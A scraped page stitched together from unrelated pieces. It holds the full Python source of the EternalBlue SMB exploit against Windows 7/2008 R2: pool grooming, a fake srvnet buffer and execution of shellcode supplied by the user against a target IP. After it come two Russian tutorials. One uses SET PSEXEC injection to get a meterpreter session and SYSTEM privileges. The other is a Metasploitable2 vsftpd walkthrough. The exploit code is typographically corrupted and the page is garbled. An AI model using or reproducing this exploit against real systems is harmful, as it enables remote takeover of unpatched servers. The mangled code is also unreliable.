Microsoft windows server 2008 r2 exploit

Collection of different exploits. Contribute to am0nsec/exploit development by creating an account on GitHub.
#!/usr/bin/python from impacket import smb from struct import pack import os import sys import socket »’ EternalBlue exploit for Windows 7/2008 by sleepya The exploit might FAIL and CRASH a target system (depended on what is overwritten) Tested on: — Windows 7 SP1 x64 — Windows 2008 R2 x64 Reference: — http://blogs.360.cn/360safe/2017/04/17/nsa-eternalblue-smb/ Bug detail: — For the bug detail, please see http://blogs.360.cn/360safe/2017/04/17/nsa-eternalblue-smb/ — You can see SrvOs2FeaListToNt(), SrvOs2FeaListSizeToNt() and SrvOs2FeaToNt() functions logic from WinNT4 source code https://github.com/Safe3/WinNT4/blob/master/private/ntos/srv/ea.c#L263 — In vulnerable SrvOs2FeaListSizeToNt() function, there is a important change from WinNT4 in for loop. The psuedo code is here. if (nextFea > lastFeaStartLocation) { // this code is for shrinking FeaList->cbList because last fea is invalid. // FeaList->cbList is DWORD but it is cast to WORD. *(WORD *)FeaList = (BYTE*)fea — (BYTE*)FeaList; return size; } — Here is related struct info. ##### typedef struct _FEA { /* fea */ BYTE fEA; /* flags */ BYTE cbName; /* name length not including NULL */ USHORT cbValue; /* value length */ } FEA, *PFEA; typedef struct _FEALIST { /* feal */ DWORD cbList; /* total bytes of structure including full list */ FEA list[1]; /* variable length FEA structures */ } FEALIST, *PFEALIST; typedef struct _FILE_FULL_EA_INFORMATION { ULONG NextEntryOffset; UCHAR Flags; UCHAR EaNameLength; USHORT EaValueLength; CHAR EaName[1]; } FILE_FULL_EA_INFORMATION, *PFILE_FULL_EA_INFORMATION; ###### Exploit info: — I do not reverse engineer any x86 binary so I do not know about exact offset. — The exploit use heap of HAL (address 0xffffffffffd00010 on x64) for placing fake struct and shellcode. This memory page is executable on Windows 7 and Wndows 2008. — The important part of feaList and fakeStruct is copied from NSA exploit which works on both x86 and x64. — The exploit trick is same as NSA exploit — The overflow is happened on nonpaged pool so we need to massage target nonpaged pool. — If exploit failed but target does not crash, try increasing ‘numGroomConn’ value (at least 5) — See the code and comment for exploit detail. srvnet buffer info: — srvnet buffer contains a pointer to another struct and MDL about received buffer — Controlling MDL values results in arbitrary write — Controlling pointer to fake struct results in code execution because there is pointer to function — A srvnet buffer is created after target receiving first 4 bytes — First 4 bytes contains length of SMB message — The possible srvnet buffer size is «…, 0x8???, 0x11000, 0x21000, …». srvnet.sys will select the size that big enough. — After receiving whole SMB message or connection lost, server call SrvNetWskReceiveComplete() to handle SMB message — SrvNetWskReceiveComplete() check and set some value then pass SMB message to SrvNetCommonReceiveHandler() — SrvNetCommonReceiveHandler() passes SMB message to SMB handler — If a pointer in srvnet buffer is modified to fake struct, we can make SrvNetCommonReceiveHandler() call our shellcode — If SrvNetCommonReceiveHandler() call our shellcode, no SMB handler is called — Normally, SMB handler free the srvnet buffer when done but our shellcode dose not. So memory leak happen. — Memory leak is ok to be ignored »’ # wanted overflown buffer size (this exploit support only 0x10000 and 0x11000) # the size 0x10000 is easier to debug when setting breakpoint in SrvOs2FeaToNt() because it is called only 2 time # the size 0x11000 is used in nsa exploit. this size is more reliable. NTFEA_SIZE = 0x11000 # the NTFEA_SIZE above is page size. We need to use most of last page preventing any data at the end of last page ntfea10000 = pack(‘<BBH’, 0, 0, 0xffdd) + ‘A’*0xffde ntfea11000 = (pack(‘<BBH’, 0, 0, 0) + x00)*600 # with these fea, ntfea size is 0x1c20 ntfea11000 += pack(‘<BBH’, 0, 0, 0xf3bd) + ‘A’*0xf3be # 0x10fe8 — 0x1c20 — 0xc = 0xf3bc ntfea1f000 = (pack(‘<BBH’, 0, 0, 0) + x00)*0x2494 # with these fea, ntfea size is 0x1b6f0 ntfea1f000 += pack(‘<BBH’, 0, 0, 0x48ed) + ‘A’*0x48ee # 0x1ffe8 — 0x1b6f0 — 0xc = 0x48ec ntfea = { 0x10000 : ntfea10000, 0x11000 : ntfea11000 } »’ Reverse from srvnet.sys (Win7 x64) — SrvNetAllocateNonPagedBufferInternal() and SrvNetWskReceiveComplete(): // for x64 struct SRVNET_BUFFER { // offset from POOLHDR: 0x10 USHORT flag; char pad[2]; char unknown0[12]; // offset from SRVNET_POOLHDR: 0x20 LIST_ENTRY list; // offset from SRVNET_POOLHDR: 0x30 char *pnetBuffer; DWORD netbufSize; // size of netBuffer DWORD ioStatusInfo; // copy value of IRP.IOStatus.Information // offset from SRVNET_POOLHDR: 0x40 MDL *pMdl1; // at offset 0x70 DWORD nByteProcessed; DWORD pad3; // offset from SRVNET_POOLHDR: 0x50 DWORD nbssSize; // size of this smb packet (from user) DWORD pad4; QWORD pSrvNetWekStruct; // want to change to fake struct address // offset from SRVNET_POOLHDR: 0x60 MDL *pMdl2; QWORD unknown5; // offset from SRVNET_POOLHDR: 0x70 // MDL mdl1; // for this srvnetBuffer (so its pointer is srvnetBuffer address) // MDL mdl2; // char transportHeader[0x50]; // 0x50 is TRANSPORT_HEADER_SIZE // char netBuffer[0]; }; struct SRVNET_POOLHDR { DWORD size; char unknown[12]; SRVNET_BUFFER hdr; }; »’ # Most field in overwritten (corrupted) srvnet struct can be any value because it will be left without free (memory leak) after processing # Here is the important fields on x64 # — offset 0x58 (VOID*) : pointer to a struct contained pointer to function. the pointer to function is called when done receiving SMB request. # The value MUST point to valid (might be fake) struct. # — offset 0x70 (MDL) : MDL for describe receiving SMB request buffer # — 0x70 (VOID*) : MDL.Next should be NULL # — 0x78 (USHORT) : MDL.Size should be some value that not too small # — 0x7a (USHORT) : MDL.MdlFlags should be 0x1004 (MDL_NETWORK_HEADER|MDL_SOURCE_IS_NONPAGED_POOL) # — 0x80 (VOID*) : MDL.Process should be NULL # — 0x88 (VOID*) : MDL.MappedSystemVa MUST be a received network buffer address. Controlling this value get arbitrary write. # The address for arbitrary write MUST be subtracted by a number of sent bytes (0x80 in this exploit). # # # To free the corrupted srvnet buffer, shellcode MUST modify some memory value to satisfy condition. # Here is related field for freeing corrupted buffer # — offset 0x10 (USHORT): be 0xffff to make SrvNetFreeBuffer() really free the buffer (else buffer is pushed to srvnet lookaside) # a corrupted buffer MUST not be reused. # — offset 0x48 (DWORD) : be a number of total byte received. This field MUST be set by shellcode because SrvNetWskReceiveComplete() set it to 0 # before calling SrvNetCommonReceiveHandler(). This is possible because pointer to SRVNET_BUFFER struct is passed to # your shellcode as function argument # — offset 0x60 (PMDL) : points to any fake MDL with MDL.Flags 0x20 does not set # The last condition is your shellcode MUST return non-negative value. The easiest way to do is «xor eax,eax» before «ret». # Here is x64 assembly code for setting nByteProcessed field # — fetch SRVNET_BUFFER address from function argument # x48x8bx54x24x40 mov rdx, [rsp+0x40] # — set nByteProcessed for trigger free after return # x8bx4ax2c mov ecx, [rdx+0x2c] # x89x4ax38 mov [rdx+0x38], ecx TARGET_HAL_HEAP_ADDR_x64 = 0xffffffffffd00010 TARGET_HAL_HEAP_ADDR_x86 = 0xffdff000 fakeSrvNetBufferNsa = pack(‘<II’, 0x11000, 0)*2 fakeSrvNetBufferNsa += pack(‘<HHI’, 0xffff, 0, 0)*2 fakeSrvNetBufferNsa += x00*16 fakeSrvNetBufferNsa += pack(‘<IIII’, TARGET_HAL_HEAP_ADDR_x86+0x100, 0, 0, TARGET_HAL_HEAP_ADDR_x86+0x20) fakeSrvNetBufferNsa += pack(‘<IIHHI’, TARGET_HAL_HEAP_ADDR_x86+0x100, 0xffffffff, 0x60, 0x1004, 0) # _, x86 MDL.Next, .Size, .MdlFlags, .Process fakeSrvNetBufferNsa += pack(‘<IIQ’, TARGET_HAL_HEAP_ADDR_x860x80, 0, TARGET_HAL_HEAP_ADDR_x64) # x86 MDL.MappedSystemVa, _, x64 pointer to fake struct fakeSrvNetBufferNsa += pack(‘<QQ’, TARGET_HAL_HEAP_ADDR_x64+0x100, 0) # x64 pmdl2 # below 0x20 bytes is overwritting MDL # NSA exploit overwrite StartVa, ByteCount, ByteOffset fields but I think no need because ByteCount is always big enough fakeSrvNetBufferNsa += pack(‘<QHHI’, 0, 0x60, 0x1004, 0) # MDL.Next, MDL.Size, MDL.MdlFlags fakeSrvNetBufferNsa += pack(‘<QQ’, 0, TARGET_HAL_HEAP_ADDR_x640x80) # MDL.Process, MDL.MappedSystemVa # below is for targeting x64 only (all x86 related values are set to 0) # this is for show what fields need to be modified fakeSrvNetBufferX64 = pack(‘<II’, 0x11000, 0)*2 fakeSrvNetBufferX64 += pack(‘<HHIQ’, 0xffff, 0, 0, 0) fakeSrvNetBufferX64 += x00*16 fakeSrvNetBufferX64 += x00*16 fakeSrvNetBufferX64 += x00*16 # 0x40 fakeSrvNetBufferX64 += pack(‘<IIQ’, 0, 0, TARGET_HAL_HEAP_ADDR_x64) # _, _, pointer to fake struct fakeSrvNetBufferX64 += pack(‘<QQ’, TARGET_HAL_HEAP_ADDR_x64+0x100, 0) # pmdl2 fakeSrvNetBufferX64 += pack(‘<QHHI’, 0, 0x60, 0x1004, 0) # MDL.Next, MDL.Size, MDL.MdlFlags fakeSrvNetBufferX64 += pack(‘<QQ’, 0, TARGET_HAL_HEAP_ADDR_x640x80) # MDL.Process, MDL.MappedSystemVa fakeSrvNetBuffer = fakeSrvNetBufferNsa #fakeSrvNetBuffer = fakeSrvNetBufferX64 feaList = pack(‘<I’, 0x10000) # the max value of feaList size is 0x10000 (the only value that can trigger bug) feaList += ntfea[NTFEA_SIZE] # Note: # — SMB1 data buffer header is 16 bytes and 8 bytes on x64 and x86 respectively # — x64: below fea will be copy to offset 0x11000 of overflow buffer # — x86: below fea will be copy to offset 0x10ff8 of overflow buffer feaList += pack(‘<BBH’, 0, 0, len(fakeSrvNetBuffer)1) + fakeSrvNetBuffer # -1 because first ‘x00’ is for name # stop copying by invalid flag (can be any value except 0 and 0x80) feaList += pack(‘<BBH’, 0x12, 0x34, 0x5678) # fake struct for SrvNetWskReceiveComplete() and SrvNetCommonReceiveHandler() # x64: fake struct is at ffffffff ffd00010 # offset 0xa0: LIST_ENTRY must be valid address. cannot be NULL. # offset 0x08: set to 3 (DWORD) for invoking ptr to function # offset 0x1d0: KSPIN_LOCK # offset 0x1d8: array of pointer to function # # code path to get code exection after this struct is controlled # SrvNetWskReceiveComplete() -> SrvNetCommonReceiveHandler() -> call fn_ptr fake_recv_struct = pack(‘<QII’, 0, 3, 0) fake_recv_struct += x00*16 fake_recv_struct += pack(‘<QII’, 0, 3, 0) fake_recv_struct += (x00*16)*7 fake_recv_struct += pack(‘<QQ’, TARGET_HAL_HEAP_ADDR_x64+0xa0, TARGET_HAL_HEAP_ADDR_x64+0xa0) # offset 0xa0 (LIST_ENTRY to itself) fake_recv_struct += x00*16 fake_recv_struct += pack(‘<IIQ’, TARGET_HAL_HEAP_ADDR_x86+0xc0, TARGET_HAL_HEAP_ADDR_x86+0xc0, 0) # x86 LIST_ENTRY fake_recv_struct += (x00*16)*11 fake_recv_struct += pack(‘<QII’, 0, 0, TARGET_HAL_HEAP_ADDR_x86+0x190) # fn_ptr array on x86 fake_recv_struct += pack(‘<IIQ’, 0, TARGET_HAL_HEAP_ADDR_x86+0x1f01, 0) # x86 shellcode address fake_recv_struct += (x00*16)*3 fake_recv_struct += pack(‘<QQ’, 0, TARGET_HAL_HEAP_ADDR_x64+0x1e0) # offset 0x1d0: KSPINLOCK, fn_ptr array fake_recv_struct += pack(‘<QQ’, 0, TARGET_HAL_HEAP_ADDR_x64+0x1f01) # x64 shellcode address — 1 (this value will be increment by one) def getNTStatus(self): return (self[‘ErrorCode’] << 16) | (self[‘_reserved’] << 8) | self[‘ErrorClass’] setattr(smb.NewSMBPacket, «getNTStatus», getNTStatus) def sendEcho(conn, tid, data): pkt = smb.NewSMBPacket() pkt[‘Tid’] = tid transCommand = smb.SMBCommand(smb.SMB.SMB_COM_ECHO) transCommand[‘Parameters’] = smb.SMBEcho_Parameters() transCommand[‘Data’] = smb.SMBEcho_Data() transCommand[‘Parameters’][‘EchoCount’] = 1 transCommand[‘Data’][‘Data’] = data pkt.addCommand(transCommand) conn.sendSMB(pkt) recvPkt = conn.recvSMB() if recvPkt.getNTStatus() == 0: print(‘got good ECHO response’) else: print(‘got bad ECHO response: 0x{:x}’.format(recvPkt.getNTStatus())) # do not know why Word Count can be 12 # if word count is not 12, setting ByteCount without enough data will be failed class SMBSessionSetupAndXCustom_Parameters(smb.SMBAndXCommand_Parameters): structure = ( (‘MaxBuffer’,‘<H’), (‘MaxMpxCount’,‘<H’), (‘VCNumber’,‘<H’), (‘SessionKey’,‘<L’), #(‘AnsiPwdLength’,'<H’), (‘UnicodePwdLength’,‘<H’), (‘_reserved’,‘<L=0’), (‘Capabilities’,‘<L’), ) def createSessionAllocNonPaged(target, size): # The big nonpaged pool allocation is in BlockingSessionSetupAndX() function # You can see the allocation logic (even code is not the same) in WinNT4 source code # https://github.com/Safe3/WinNT4/blob/master/private/ntos/srv/smbadmin.c#L1050 till line 1071 conn = smb.SMB(target, target) _, flags2 = conn.get_flags() # FLAGS2_EXTENDED_SECURITY MUST not be set flags2 &= ~smb.SMB.FLAGS2_EXTENDED_SECURITY # if not use unicode, buffer size on target machine is doubled because converting ascii to utf16 if size >= 0xffff: flags2 &= ~smb.SMB.FLAGS2_UNICODE reqSize = size // 2 else: flags2 |= smb.SMB.FLAGS2_UNICODE reqSize = size conn.set_flags(flags2=flags2) pkt = smb.NewSMBPacket() sessionSetup = smb.SMBCommand(smb.SMB.SMB_COM_SESSION_SETUP_ANDX) sessionSetup[‘Parameters’] = SMBSessionSetupAndXCustom_Parameters() sessionSetup[‘Parameters’][‘MaxBuffer’] = 61440 # can be any value greater than response size sessionSetup[‘Parameters’][‘MaxMpxCount’] = 2 # can by any value sessionSetup[‘Parameters’][‘VCNumber’] = os.getpid() sessionSetup[‘Parameters’][‘SessionKey’] = 0 sessionSetup[‘Parameters’][‘AnsiPwdLength’] = 0 sessionSetup[‘Parameters’][‘UnicodePwdLength’] = 0 sessionSetup[‘Parameters’][‘Capabilities’] = 0x80000000 # set ByteCount here sessionSetup[‘Data’] = pack(‘<H’, reqSize) + x00*20 pkt.addCommand(sessionSetup) conn.sendSMB(pkt) recvPkt = conn.recvSMB() if recvPkt.getNTStatus() == 0: print(‘SMB1 session setup allocate nonpaged pool success’) else: print(‘SMB1 session setup allocate nonpaged pool failed’) return conn # Note: impacket-0.9.15 struct has no ParameterDisplacement ############# SMB_COM_TRANSACTION2_SECONDARY (0x33) class SMBTransaction2Secondary_Parameters_Fixed(smb.SMBCommand_Parameters): structure = ( (‘TotalParameterCount’,‘<H=0’), (‘TotalDataCount’,‘<H’), (‘ParameterCount’,‘<H=0’), (‘ParameterOffset’,‘<H=0’), (‘ParameterDisplacement’,‘<H=0’), (‘DataCount’,‘<H’), (‘DataOffset’,‘<H’), (‘DataDisplacement’,‘<H=0’), (‘FID’,‘<H=0’), ) def send_trans2_second(conn, tid, data, displacement): pkt = smb.NewSMBPacket() pkt[‘Tid’] = tid # assume no params transCommand = smb.SMBCommand(smb.SMB.SMB_COM_TRANSACTION2_SECONDARY) transCommand[‘Parameters’] = SMBTransaction2Secondary_Parameters_Fixed() transCommand[‘Data’] = smb.SMBTransaction2Secondary_Data() transCommand[‘Parameters’][‘TotalParameterCount’] = 0 transCommand[‘Parameters’][‘TotalDataCount’] = len(data) fixedOffset = 32+3+18 transCommand[‘Data’][‘Pad1’] = » transCommand[‘Parameters’][‘ParameterCount’] = 0 transCommand[‘Parameters’][‘ParameterOffset’] = 0 if len(data) > 0: pad2Len = (4 fixedOffset % 4) % 4 transCommand[‘Data’][‘Pad2’] = xFF * pad2Len else: transCommand[‘Data’][‘Pad2’] = » pad2Len = 0 transCommand[‘Parameters’][‘DataCount’] = len(data) transCommand[‘Parameters’][‘DataOffset’] = fixedOffset + pad2Len transCommand[‘Parameters’][‘DataDisplacement’] = displacement transCommand[‘Data’][‘Trans_Parameters’] = » transCommand[‘Data’][‘Trans_Data’] = data pkt.addCommand(transCommand) conn.sendSMB(pkt) def send_nt_trans(conn, tid, setup, data, param, firstDataFragmentSize, sendLastChunk=True): pkt = smb.NewSMBPacket() pkt[‘Tid’] = tid command = pack(‘<H’, setup) transCommand = smb.SMBCommand(smb.SMB.SMB_COM_NT_TRANSACT) transCommand[‘Parameters’] = smb.SMBNTTransaction_Parameters() transCommand[‘Parameters’][‘MaxSetupCount’] = 1 transCommand[‘Parameters’][‘MaxParameterCount’] = len(param) transCommand[‘Parameters’][‘MaxDataCount’] = 0 transCommand[‘Data’] = smb.SMBTransaction2_Data() transCommand[‘Parameters’][‘Setup’] = command transCommand[‘Parameters’][‘TotalParameterCount’] = len(param) transCommand[‘Parameters’][‘TotalDataCount’] = len(data) fixedOffset = 32+3+38 + len(command) if len(param) > 0: padLen = (4 fixedOffset % 4 ) % 4 padBytes = xFF * padLen transCommand[‘Data’][‘Pad1’] = padBytes else: transCommand[‘Data’][‘Pad1’] = » padLen = 0 transCommand[‘Parameters’][‘ParameterCount’] = len(param) transCommand[‘Parameters’][‘ParameterOffset’] = fixedOffset + padLen if len(data) > 0: pad2Len = (4 (fixedOffset + padLen + len(param)) % 4) % 4 transCommand[‘Data’][‘Pad2’] = xFF * pad2Len else: transCommand[‘Data’][‘Pad2’] = » pad2Len = 0 transCommand[‘Parameters’][‘DataCount’] = firstDataFragmentSize transCommand[‘Parameters’][‘DataOffset’] = transCommand[‘Parameters’][‘ParameterOffset’] + len(param) + pad2Len transCommand[‘Data’][‘Trans_Parameters’] = param transCommand[‘Data’][‘Trans_Data’] = data[:firstDataFragmentSize] pkt.addCommand(transCommand) conn.sendSMB(pkt) conn.recvSMB() # must be success i = firstDataFragmentSize while i < len(data): sendSize = min(4096, len(data) i) if len(data) i <= 4096: if not sendLastChunk: break send_trans2_second(conn, tid, data[i:i+sendSize], i) i += sendSize if sendLastChunk: conn.recvSMB() return i # connect to target and send a large nbss size with data 0x80 bytes # this method is for allocating big nonpaged pool (no need to be same size as overflow buffer) on target # a nonpaged pool is allocated by srvnet.sys that started by useful struct (especially after overwritten) def createConnectionWithBigSMBFirst80(target): # https://msdn.microsoft.com/en-us/library/cc246496.aspx # Above link is about SMB2, but the important here is first 4 bytes. # If using wireshark, you will see the StreamProtocolLength is NBSS length. # The first 4 bytes is same for all SMB version. It is used for determine the SMB message length. # # After received first 4 bytes, srvnet.sys allocate nonpaged pool for receving SMB message. # srvnet.sys forwards this buffer to SMB message handler after receiving all SMB message. # Note: For Windows 7 and Windows 2008, srvnet.sys also forwards the SMB message to its handler when connection lost too. sk = socket.create_connection((target, 445)) # For this exploit, use size is 0x11000 pkt = x00 + x00 + pack(‘>H’, 0xfff7) # There is no need to be SMB2 because we got code execution by corrupted srvnet buffer. # Also this is invalid SMB2 message. # I believe NSA exploit use SMB2 for hiding alert from IDS #pkt += ‘xffSMB’ # smb2 # it can be anything even it is invalid pkt += ‘BAAD’ # can be any pkt += x00*0x7c sk.send(pkt) return sk def exploit(target, shellcode, numGroomConn): # force using smb.SMB for SMB1 conn = smb.SMB(target, target) # can use conn.login() for ntlmv2 conn.login_standard(», ») server_os = conn.get_server_os() print(‘Target OS: ‘+server_os) if not (server_os.startswith(«Windows 7 «) or server_os.startswith(«Windows Server 2008 «)): print(‘This exploit does not support this target’) sys.exit() tid = conn.tree_connect_andx(\\+target+\+‘IPC$’) # Here is code path in WinNT4 (all reference files are relative path to https://github.com/Safe3/WinNT4/blob/master/private/ntos/srv/) # — SrvSmbNtTransaction() (smbtrans.c#L2677) # — When all data is received, call ExecuteTransaction() at (smbtrans.c#L3113) # — ExecuteTransaction() (smbtrans.c#L82) # — Call dispatch table (smbtrans.c#L347) # — Dispatch table is defined at srvdata.c#L972 (target is command 0, SrvSmbOpen2() function) # — SrvSmbOpen2() (smbopen.c#L1002) # — call SrvOs2FeaListToNt() (smbopen.c#L1095) # https://msdn.microsoft.com/en-us/library/ee441720.aspx # Send special feaList to a target except last fragment with SMB_COM_NT_TRANSACT and SMB_COM_TRANSACTION2_SECONDARY command # Note: cannot use SMB_COM_TRANSACTION2 for the exploit because the TotalDataCount field is USHORT # Note: transaction max data count is 66512 (0x103d0) and DataDisplacement is USHORT progress = send_nt_trans(conn, tid, 0, feaList, x00*30, 2000, False) # we have to know what size of NtFeaList will be created when last fragment is sent # make sure server recv all payload before starting allocate big NonPaged #sendEcho(conn, tid, ‘a’*12) # create buffer size NTFEA_SIZE-0x1000 at server # this buffer MUST NOT be big enough for overflown buffer allocConn = createSessionAllocNonPaged(target, NTFEA_SIZE 0x1010) # groom nonpaged pool # when many big nonpaged pool are allocated, allocate another big nonpaged pool should be next to the last one srvnetConn = [] for i in range(numGroomConn): sk = createConnectionWithBigSMBFirst80(target) srvnetConn.append(sk) # create buffer size NTFEA_SIZE at server # this buffer will be replaced by overflown buffer holeConn = createSessionAllocNonPaged(target, NTFEA_SIZE 0x10) # disconnect allocConn to free buffer # expect small nonpaged pool allocation is not allocated next to holeConn because of this free buffer allocConn.get_socket().close() # hope one of srvnetConn is next to holeConn for i in range(5): sk = createConnectionWithBigSMBFirst80(target) srvnetConn.append(sk) # send echo again, all new 5 srvnet buffers should be created #sendEcho(conn, tid, ‘a’*12) # remove holeConn to create hole for fea buffer holeConn.get_socket().close() # send last fragment to create buffer in hole and OOB write one of srvnetConn struct header send_trans2_second(conn, tid, feaList[progress:], progress) recvPkt = conn.recvSMB() retStatus = recvPkt.getNTStatus() # retStatus MUST be 0xc000000d (INVALID_PARAMETER) because of invalid fea flag if retStatus == 0xc000000d: print(‘good response status: INVALID_PARAMETER’) else: print(‘bad response status: 0x{:08x}’.format(retStatus)) # one of srvnetConn struct header should be modified # a corrupted buffer will write recv data in designed memory address for sk in srvnetConn: sk.send(fake_recv_struct + shellcode) # execute shellcode by closing srvnet connection for sk in srvnetConn: sk.close() # nicely close connection (no need for exploit) conn.disconnect_tree(tid) conn.logoff() conn.get_socket().close() if len(sys.argv) < 3: print(«{} <ip> <shellcode_file> [numGroomConn]».format(sys.argv[0])) sys.exit(1) TARGET=sys.argv[1] numGroomConn = 13 if len(sys.argv) < 4 else int(sys.argv[3]) fp = open(sys.argv[2], ‘rb’) sc = fp.read() fp.close() print(‘shellcode size: {:d}’.format(len(sc))) print(‘numGroomConn: {:d}’.format(numGroomConn)) exploit(TARGET, sc, numGroomConn) print(‘done’)

Всем привет! В этой статье я опишу процедуру тестирования на проникновение целевого хоста под управлением Windows Server 2008.

upload_2017-1-21_20-28-44.png

Целью будет получение активной сессии meterpreter, на компьютере тестирующего.

В качестве платформы для проведения теста, мною будет использоваться Kali Linux 2016.2.

Итак, для начала немного информации, атака будет производиться используя уязвимости версии протокола SMB 2.2
SMB (Server Message Block) — сетевой протокол прикладного уровня для удалённого доступа к файлам, принтерам и другим сетевым ресурсам, а также для межпроцессорного взаимодействия.
Подвергаться эксплуатации в нашем случае будет 445 порт.

445/TCP,UDP MICROSOFT-DS — используется в Microsoft Windows 2000 и поздних версий, для прямого TCP/IP-доступа без использования NetBIOS.

Узнаем адрес сервера в сети и начнем со сканирования:

> nmap –sV –A 192.168.31.133

upload_2017-1-21_20-29-13.png


Первый положительный момент выделен, на сервере открыт интересующий нас порт.

upload_2017-1-21_20-29-41.png

Второй момент, это наличие включенного сервиса smbv2. Теперь необходимо узнать больше о версии протокола SMB.

Запустим Metasploit Framework и выполним последовательно следующее:

> use auxiliary/scanner/smb/smb_version

> msf exploit (smb_version)>set rhosts 192.168.31.ХХХ

> msf exploit (smb_version)>exploit

upload_2017-1-21_20-30-1.png


Затем выполним:

> use auxiliary/scanner/smb/smb2

> msf exploit (smb2)>set rhosts 192.168.0.XXX

> msf exploit (smb2)>set rport 445

> msf exploit (smb2)>exploit

upload_2017-1-21_20-30-26.png

Версия протокола и его наличие нам стали известны. Теперь можно переходить непосредственно к проникновению. Запускаем SET — Social Engineering Toolkit.

> setoolkit

upload_2017-1-21_20-30-53.png


Выбираем второй пункт (2):

upload_2017-1-21_20-31-19.png

Будем использовать PSEXEC Injection, выбираем (6):

upload_2017-1-21_20-31-33.png

Вводим данные согласно требованиям SET:

> 192.168.31.133 (Адрес целевого хоста)

> Administrator (Логин целевого хоста)

> Adminroot123 (Пароль целевого хоста)

> Следующий пункт пропускаем, жмем Enter

> Следующий пункт пропускаем, жмем Enter

> 192.168.31.201 (Адрес атакующей машины)

> 445 (SMB порт)

upload_2017-1-21_20-32-22.png


Если все прошло успешно, то в течение нескольких секунд запустится Metasploit, а затем откроется сессия meterpreter для доступа на целевой хост.

upload_2017-1-21_20-32-51.png

Проверяем работоспособность эксплойта и получаем системные привилегии:

> sessions –I 1

> sysinfo

> getsystem

upload_2017-1-21_20-33-14.png


Посмотрим список запущенных процессов:

> ps

upload_2017-1-21_20-33-43.png

Сам сервер, во время манипуляций ведет себя тихо, разве, что в tasklist появятся новые процессы, но с помощью миграции все поправимо:

upload_2017-1-21_20-34-5.png

Дальше действуем на свое усмотрение. В целом, на этом все. Спасибо за внимание.

Приветствую тебя, дорогой читатель, в пятой части серии статей «Приручение черного дракона. Этичный хакинг с Kali Linux».

Полный список статей прилагается ниже, и будет дополняться по мере появления новых.

Приручение черного дракона. Этичный хакинг с Kali Linux:

Часть 1. Вводная часть. Подготовка рабочего стенда.

Часть 2. Фазы атаки.

Часть 3. Footprinting. Разведка и сбор информации.

Часть 4. Сканирование и типы сканирования. Погружение в nmap.

Часть 5. Методы получения доступа к системе.

Часть 6. Пост-эксплуатация. Способы повышения привилегий.

Часть 7. Пост-эксплуатация. Закрепление в системе.

В прошлый раз мы поговорили о приемах активного футпринтинга, а именно, о методах сканирования целевых ресурсов, и познакомились с таким замечательным инструментом, как сетевой сканер nmap. Сегодня мы разберем следующую важную фазу — получение доступа к системе и поговорим о таких вещах, как эксплоиты (exploits), полезная нагрузка (payload), а так же познакомимся с инструментом, который нам поможет автоматизировать рутинные задачи связанные с поиском и эксплуатацией уязвимостей под названием Metasploit Framework.

Почему же именно Metasploit и что в нем такого особенного, что он является самым популярным инструментом в арсенале любого специалиста информационной безопасности на различных этапах проверок? Попробуем разобраться в этом вопросе. И начнем мы с погружения в теорию.

Metasploit Framework – представляет из себя комплексный инструмент автоматизации процесса эксплуатации уязвимостей ПО и операционных систем различной архитектуры.

Модули входящие в состав Metasploit можно разделить на следующие несколько категорий:

Эксплоиты (Exploits) — компьютерная программа, фрагмент программного кода или последовательность команд, использующие уязвимости в программном обеспечении и применяемые для проведения атаки на вычислительную систему. Целью атаки может быть как захват контроля над системой (повышение привилегий), так и нарушение её функционирования (DoS-атака).

По типу исполнения можно выделить два вида эксплоитов:

Удалённый эксплойт – работает через сеть и использует уязвимость в защите без какого-либо предварительного доступа к атакуемой системе;

Локальный эксплойт – запускается непосредственно в уязвимой системе, требуя предварительного доступа к ней.

Пэйлоады (Payloads) – это некий код, который выполняется после эксплоита. В основном используется для настройки связи между жертвой и атакующим.

Вспомогательные модули (auxiliary) — это дополнительные вспомогательные инструменты вроде сканеров уязвимостей, которые могут искать в сети уязвимые устройства под конкретный эксплоит.

Отсюда следует, что MSF позволяет нам искать и эксплуатировать различными способами уязвимости в операционной системе, используемых в ней сетевых протоколах и отдельных программах, с целью получения контроля над ней либо вывода ее из строя (вторая фаза целевой атаки).

Рассмотрим несколько практических примеров, чтобы тебе точно было все понятно.

Запустим виртуальную машину с Kali Linux и уязвимую машину Metasploitable2.

Запустить Metasploit мы можем либо из консоли командой msfconsole, либо найти его в разделе Exploitation Tools списка всех программ.

Как мы помним из прошлой статьи, у машины Metasploitable2 нам удалось обнаружить устаревшую версию службы ftp 2.3.4 имеющую именно такую уязвимость. Более подробно о каждой известной уязвимости можно узнать из ресурса https://www.exploit-db.com/

В поле search можно ввести название сервиса либо номер бюллетени уязвимости.

Как видно на скриншоте, в том случае если эксплоит уже есть в базе Metasploit рядом с его названием в скобках это будет обозначено.

Для поиска необходимого эксплоита в базе metasploit введем команду:

search <название эксплоита>

Для применения эксплоита используем команду use <номер эксплоита в списке>

Чтобы посмотреть доступные опции эксплоита введем команду show options

Как мы видим , тут нам доступны несколько параметров настроек:

RHOSTS – удаленный хост для эксплуатации уязвимости (тут указываем IP адрес машины Metasploitable2)

RPORT – тут указываем порт сервиса (только в том случае если он нестандартный)

И так, для того, чтобы атаковать ресурс нам необходимо ввести всего 2 команды:

set RHOSTS <IP адрес цели>

run либо exploit для того, чтобы запустить эксплоит.

Ждем несколько секунд и получаем открытую сессию в виде удаленного shell-а. Пусть тебя не смущает пустое поле, большая часть команд уже работает. Посмотрим под кем мы работаем командой whoami.

Мы видим, что мы сидим под root пользователем

Убедимся в том, что это действительно нужный хост и введем команду ip address.

В данном случае мы работаем через командную оболочку, что имеет один существенный минус, а именно — она не даст нам авторизоваться в системе под другим пользователем либо повторно перелогиниться. Сейчас покажу, что я имею ввиду.

Посмотрим, какие пользователи кроме root у нас есть вообще в системе. Информация о пользователях созданных в системе хранится в файле passwd каталога /etc

cat /etc/passwd

Видим, что тут присутствуют еще пользователи, например, пользователь msfadmin и user.

Попробуем переключиться на них через команду su <имя пользователя>

И так, что мы тут интересного

можем увидеть. Все попытки залогиниться под другими пользователями или перелогиниться под root выдают нам сообщение о том, что команда su (она же sudo) должна выполняться из терминала. Самый простой и эффективный способ переключиться из командной оболочки в режим терминала — использование псевдотерминала pty на python.

Запустим его следующим скриптом:

python -c ‘import pty; pty.spawn(“bin/sh”)’

И выполним те же самые манипуляции в псевдотерминале

Как мы видим, переключение между пользователями в терминале осуществляется без особых проблем. Кстати, перелогиниться под root мы уже не можем, поскольку пароль нам не известен. Для того, чтобы вернуться к работе под пользователем root необходимо выйти из сессии текущего пользователя командой exit.

И так, надеюсь, что с разницей в работе через терминал и командную оболочку все понятно и мы можем двигаться дальше.

